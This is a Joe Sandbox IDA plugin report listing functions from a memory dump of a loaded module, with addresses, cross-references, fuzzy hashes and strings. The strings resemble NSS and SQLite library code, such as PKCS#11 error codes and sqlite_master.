Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: memcpymemset
String ID: h(ll$h(ll
API String ID: 1297977491-1774252009
Opcode ID: 67f5b1fcb83da880fb63f573082336db8c87943e3a4081e198a5746fec37010d
Instruction ID: 8cacc4eec63e3fbaf3f0f4d0275ff84627187728bee462977504022fabc56833
Opcode Fuzzy Hash: 67f5b1fcb83da880fb63f573082336db8c87943e3a4081e198a5746fec37010d
Instruction Fuzzy Hash: 91A14BB1B0125A9FCF08CF99C894AEEBBB6FF4C314B148129E914A7700D735AD41CBA5

Function 6C5E4DB0 Relevance: 5.3, Strings: 4, Instructions: 318COMMON

Download Yara Rule

Strings

pvl, xrefs: 6C5E4E1C, 6C5E4E81, 6C5E4FDE, 6C5E5047, 6C5E50BB, 6C5E51A3, 6C5E526C
Pvl, xrefs: 6C5E5019, 6C5E50FA, 6C5E5157, 6C5E51DE, 6C5E51F2, 6C5E520D, 6C5E5220, 6C5E52A2, 6C5E52B5
winUnlockReadLock, xrefs: 6C5E5125
0vl, xrefs: 6C5E4EDE, 6C5E4F82

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID:
String ID: 0vl$Pvl$pvl$winUnlockReadLock
API String ID: 0-1853705913
Opcode ID: 0ed5cc44f3942988c63461552229b44bce89009f2c210b17fd9df82dd5d138e0
Instruction ID: 3cbedef075596b0c078a03242bfe68d756f01b628b04aabbd222c3718a377c1c
Opcode Fuzzy Hash: 0ed5cc44f3942988c63461552229b44bce89009f2c210b17fd9df82dd5d138e0
Instruction Fuzzy Hash: 25E12B70A18344CFDB04DF28E89865ABBF0FF89304F558A6DF89997351E7309985CB82

Function 6C5E6F10 Relevance: 5.2, Strings: 4, Instructions: 218COMMON

Download Yara Rule

Strings

*?[, xrefs: 6C5E7034, 6C5E7052, 6C5E7070
noskipscan*, xrefs: 6C5E7067
unordered*, xrefs: 6C5E702B
sz=[0-9]*, xrefs: 6C5E7049

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID:
String ID: *?[$noskipscan*$sz=[0-9]*$unordered*
API String ID: 0-3485574213
Opcode ID: f0f4bade09ec0670cfc77a1599e0919988e2e42272c72179ebe5f85bfa625548
Instruction ID: 92c49b672d14e46bbccf307794f265cacb030f5e1c0adf67c6e2e1a140b3a08a
Opcode Fuzzy Hash: f0f4bade09ec0670cfc77a1599e0919988e2e42272c72179ebe5f85bfa625548
Instruction Fuzzy Hash: FC716C32F043154BEB14CE6DCC8039E77A29F89394F250678CD69ABBC6EA719C4687C1

Function 6C603EC0 Relevance: 4.3, Strings: 3, Instructions: 583COMMON

Download Yara Rule

Strings

sqlite_temp_master, xrefs: 6C60460F
sqlite_, xrefs: 6C603FAA, 6C604185
sqlite_master, xrefs: 6C60463F

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID:
String ID: sqlite_$sqlite_master$sqlite_temp_master
API String ID: 0-4221611869
Opcode ID: 13cb1de56c6c577b4cd9dc57d243c00aebf838c9dfbd30ced650c0011ee71b8e
Instruction ID: cea33bdaf64ff83b4ba73afc552ab02b30a1fd23bf808f6a75a5a13d1822b12a
Opcode Fuzzy Hash: 13cb1de56c6c577b4cd9dc57d243c00aebf838c9dfbd30ced650c0011ee71b8e
Instruction Fuzzy Hash: 3022AC2174D1554FD72D8B2682A06F6BBF29F67308B6845ACCAE17FE42D261EC41C788

Function 6C73BE70 Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 1029COMMON

Download Yara Rule

Strings

`, xrefs: 6C73C0B6

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID:
String ID: `
API String ID: 0-2679148245
Opcode ID: 506eee700f2dbc4191454ecb41f8d5d0d7223a0a5c1c5bf7975cfba115cccf7a
Instruction ID: f30634c0bb76df83daecc7d63bef2afec589e4a26fea88a7d49689c469cbb107
Opcode Fuzzy Hash: 506eee700f2dbc4191454ecb41f8d5d0d7223a0a5c1c5bf7975cfba115cccf7a
Instruction Fuzzy Hash: 7D92B474A00269CFDB04DF58CA80BAEB7B2FF89309F245268D419A7B92D735EC45CB54

Function 6C5D3D80 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 164COMMON

Download Yara Rule

APIs

htonl.WSOCK32(00000000), ref: 6C5D3EA9

Strings

0, xrefs: 6C5D3DAB

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: htonl
String ID: 0
API String ID: 2009864989-4108050209
Opcode ID: dd16d9e3c4b518be53289aa781cd2655386d52825df6f71bf5c6ab524c7a801d
Instruction ID: 6e2761b8652806c6dcf6819d7c5a0bcd90008ad506584de05129c4f42721581d
Opcode Fuzzy Hash: dd16d9e3c4b518be53289aa781cd2655386d52825df6f71bf5c6ab524c7a801d
Instruction Fuzzy Hash: 72512A31E4927A8ADB158A7D8C603FFBBB1DB42314F1E4329C5A167BC1D23465458794

Function 6C67EE70 Relevance: 3.2, APIs: 2, Instructions: 223COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C67F019
PK11_GenerateRandom.NSS3(?,00000000), ref: 6C67F0F9

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ErrorGenerateK11_Random
String ID:
API String ID: 3009229198-0
Opcode ID: f28674b34aa5c963032b75bc96fe7a21ab5569db4e47a29f8ddf8cc7e5d013c4
Instruction ID: cf8c58d72dda11d0174f5d3a0c4087572fa7c75b649267e6ecac87be26bd1c5c
Opcode Fuzzy Hash: f28674b34aa5c963032b75bc96fe7a21ab5569db4e47a29f8ddf8cc7e5d013c4
Instruction Fuzzy Hash: 69919375A0061A8FCB24CF68C891AAEB7F1FF85324F244B2DD56297BC0D730A905CB65

Function 6C6A2F70 Relevance: 3.1, APIs: 2, Instructions: 149COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE09A,00000000,00000000,?,6C6C7929), ref: 6C6A2FAC
PR_SetError.NSS3(FFFFE040,00000000,00000000,?,6C6C7929), ref: 6C6A2FE0

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Error
String ID:
API String ID: 2619118453-0
Opcode ID: 4a656108be18da6d47c24cc2c8ac13f526c4c1b274535cb3a5808e77de7152a1
Instruction ID: 9ab6f43318753b15c120202def51ddfa4001fcb99b837c426b889048feaa219a
Opcode Fuzzy Hash: 4a656108be18da6d47c24cc2c8ac13f526c4c1b274535cb3a5808e77de7152a1
Instruction Fuzzy Hash: 2E512671A459118FD714CEEAC880BAAB3B1FF46318F250139D9199BB02D731ED47CB89

Function 6C6AED70 Relevance: 1.7, APIs: 1, Instructions: 217memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(00000000,0000003C), ref: 6C6AEE3D

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Alloc_ArenaUtil
String ID:
API String ID: 2062749931-0
Opcode ID: b51203e4b2318080346e191dc444ed80196527117a86a943b733acd6992df4c0
Instruction ID: 8f9cf25bb5696d1cf8ac485a989272bafbf98db9796f59bfbbe95dc0a453724e
Opcode Fuzzy Hash: b51203e4b2318080346e191dc444ed80196527117a86a943b733acd6992df4c0
Instruction Fuzzy Hash: FE71CFB2E01B018BD718CF99C8806AAB7F2FB89304F14862DD85697B91D734ED12CB95

Function 6C5D5F30 Relevance: 1.6, APIs: 1, Instructions: 350stringCOMMON

Download Yara Rule

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,00000000), ref: 6C5D6013

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: strcmp
String ID:
API String ID: 1004003707-0
Opcode ID: 260cba9ebfff07642fd90ab1c4a1d71ff9639c562215b12fa77f5e6517cd9e90
Instruction ID: 0bc60c790d15b52a294fe78b9023c1d560ff737a3ec6f2b9e672f9e87eeec3d4
Opcode Fuzzy Hash: 260cba9ebfff07642fd90ab1c4a1d71ff9639c562215b12fa77f5e6517cd9e90
Instruction Fuzzy Hash: FAC127B1A043068BDB04CF5DCC907AAB7B2EF45318F668919D995CBB42DB31F842C799

Function 6C765E60 Relevance: 1.4, APIs: 1, Instructions: 163COMMON

Download Yara Rule

APIs

Part of subcall function 6C765B90: PR_Lock.NSS3(00010000,?,00000000,?,6C64DF9B), ref: 6C765B9E
Part of subcall function 6C765B90: PR_Unlock.NSS3 ref: 6C765BEA

memset.VCRUNTIME140(00000014,00000000,-000000D7,?,?,?,?,?,?,?,?,6C765E23,6C64E154), ref: 6C765EBF

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: LockUnlockmemset
String ID:
API String ID: 1725470033-0
Opcode ID: 765870e01ac74a1a285e53e67be40ac57547b096a3347e8632765bb24f41ae14
Instruction ID: 29a81201947cf643ec3bc44d36bc7ce74ecef61bd95f9f258040ca1c9eae7eac
Opcode Fuzzy Hash: 765870e01ac74a1a285e53e67be40ac57547b096a3347e8632765bb24f41ae14
Instruction Fuzzy Hash: 4D519D72E0021A8FCB18CF59C9819AEF3B2FF88314B19457DD815B7746E730A941CBA0

Function 6C71DCD0 Relevance: .4, Instructions: 371COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b27f33e7783930e1b995bf9f3608068dfd0489f80754b5163547f6404060ed4a
Instruction ID: 6f89412660839bfbb2fb789833f2b616d51b3692c00dcaec851efb280ef3804c
Opcode Fuzzy Hash: b27f33e7783930e1b995bf9f3608068dfd0489f80754b5163547f6404060ed4a
Instruction Fuzzy Hash: F0F16A71A04209CFDB09CF19C594BAA77B2BF89318F294178E8199BB41CB35ED42CBD5

Function 6C6B1DC0 Relevance: .3, Instructions: 345COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5cf8dc963f7f79db549299581b4ae9ef430c02c880e9910e3ec163e0518b33a5
Instruction ID: 6348150f16bee34cbf3be623f1d5d1efa7281fe6ed4a8495cc3507542e481558
Opcode Fuzzy Hash: 5cf8dc963f7f79db549299581b4ae9ef430c02c880e9910e3ec163e0518b33a5
Instruction Fuzzy Hash: 9CD16B32D086568BDB118E18C8843DA77A3AB85328F1D4329DD747B7C6C37BA926C7D4

Function 6C648EA0 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3b011004774ae4f64b7820e833c014aefd2f0e05aa79d2df4e1272aace504254
Instruction ID: 1622172d4f9a442df465402b08bf12ee4b63b1d0d06476e9604433c7a7e18970
Opcode Fuzzy Hash: 3b011004774ae4f64b7820e833c014aefd2f0e05aa79d2df4e1272aace504254
Instruction Fuzzy Hash: EE11E232A002198BD704CF15D884B9AB7A5BF4A358F04C2BAD805CFA61C375D882C7C9

Function 6C720C40 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b16a20dbcd1b67cf362bbdb215fbff8809e7d4820699392cf4426b80bb987e5a
Instruction ID: 979fcc01a80d88852cbda04af60db50f49e0b067493dd87dd6010ba0e473dd42
Opcode Fuzzy Hash: b16a20dbcd1b67cf362bbdb215fbff8809e7d4820699392cf4426b80bb987e5a
Instruction Fuzzy Hash: 2311BFB46043058FCB00DF18C8946AA7BA5EF85368F148079D8198B701DB35E846CBA0

Function 6C693FF0 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$Error
String ID:
API String ID: 2275178025-0
Opcode ID: 0f4f4dfb92023a42fc6e7a27a79e4d5ed5acfaaa6a0ae9341d64be6dc3cc77b1
Instruction ID: aaa21d302558c3844d7df4e51989134a7fd40b46e3c929224290d4ed7d5f5e7a
Opcode Fuzzy Hash: 0f4f4dfb92023a42fc6e7a27a79e4d5ed5acfaaa6a0ae9341d64be6dc3cc77b1
Instruction Fuzzy Hash: EDF03A70A0465D8BCB10DF69C55159EB7F8EF0E254B109629EC89AB301EB70AAD4C7D1

Function 6C720D60 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction ID: 73bb9faebba6c6434ab638d4f21b3fee4919f997bcf2fe20e68cc85889a39d4e
Opcode Fuzzy Hash: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction Fuzzy Hash: 0CE0923A243058A7DB148E09C565AA97359DF81619FB4807DCC5D9FE01D737F90387A1

Function 6C64CC60 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cd8ed1a5f317b962664189ed7dc48a6667c4dc93a4e7d7967595ea2aa61a208a
Instruction ID: 5b601a91b7cd2a313a955e25909f9f71cfaa64f274997cbc46c2e2b6dcc15226
Opcode Fuzzy Hash: cd8ed1a5f317b962664189ed7dc48a6667c4dc93a4e7d7967595ea2aa61a208a
Instruction Fuzzy Hash: F9C04838244608CFC704DE08E499DA43BA8AB0961070400A4EA028B721DA21F800DA84

Function 6C681D60 Relevance: 84.2, APIs: 1, Strings: 47, Instructions: 210COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3( rv = %s,CKR_FUNCTION_REJECTED,?,6C681D46), ref: 6C682345

Strings

CKR_PIN_LEN_RANGE, xrefs: 6C682061
CKR_MUTEX_BAD, xrefs: 6C681F49
CKR_CURVE_NOT_SUPPORTED, xrefs: 6C682179
CKR_FUNCTION_CANCELED, xrefs: 6C681E73
CKR_OBJECT_HANDLE_INVALID, xrefs: 6C68204D
CKR_BUFFER_TOO_SMALL, xrefs: 6C682183
CKR_CRYPTOKI_ALREADY_INITIALIZED, xrefs: 6C68227F
CKR_RANDOM_NO_RNG, xrefs: 6C6822A7
CKR_PIN_INCORRECT, xrefs: 6C681D92
CKR_WRAPPING_KEY_SIZE_RANGE, xrefs: 6C682327
CKR_DEVICE_ERROR, xrefs: 6C68229D
CKR_WRAPPING_KEY_HANDLE_INVALID, xrefs: 6C682320
rv = %s, xrefs: 6C682340
CKR_FUNCTION_REJECTED, xrefs: 6C682289
CKR_CRYPTOKI_NOT_INITIALIZED, xrefs: 6C682275
rv = 0x%x, xrefs: 6C682312
CKR_TEMPLATE_INCOMPLETE, xrefs: 6C681F95
CKR_OPERATION_CANCEL_FAILED, xrefs: 6C681F77
CKR_WRAPPED_KEY_INVALID, xrefs: 6C681FB5
CKR_TOKEN_NOT_PRESENT, xrefs: 6C681F81
CKR_TOKEN_RESOURCE_EXCEEDED, xrefs: 6C682293, 6C68233F
CKR_TEMPLATE_INCONSISTENT, xrefs: 6C681EE1
CKR_PIN_INVALID, xrefs: 6C682057
CKR_ENCRYPTED_DATA_INVALID, xrefs: 6C68226B
CKR_OK, xrefs: 6C681DFC
CKR_SIGNATURE_LEN_RANGE, xrefs: 6C6820D9
CKR_WRAPPING_KEY_TYPE_INCONSISTENT, xrefs: 6C68232E
CKR_TOKEN_NOT_RECOGNIZED, xrefs: 6C681F8B
CKR_STATE_UNSAVEABLE, xrefs: 6C682037
CKR_DOMAIN_PARAMS_INVALID, xrefs: 6C682015
CKR_OPERATION_ACTIVE, xrefs: 6C6822B8
CKR_NEW_PIN_MODE, xrefs: 6C681E9F
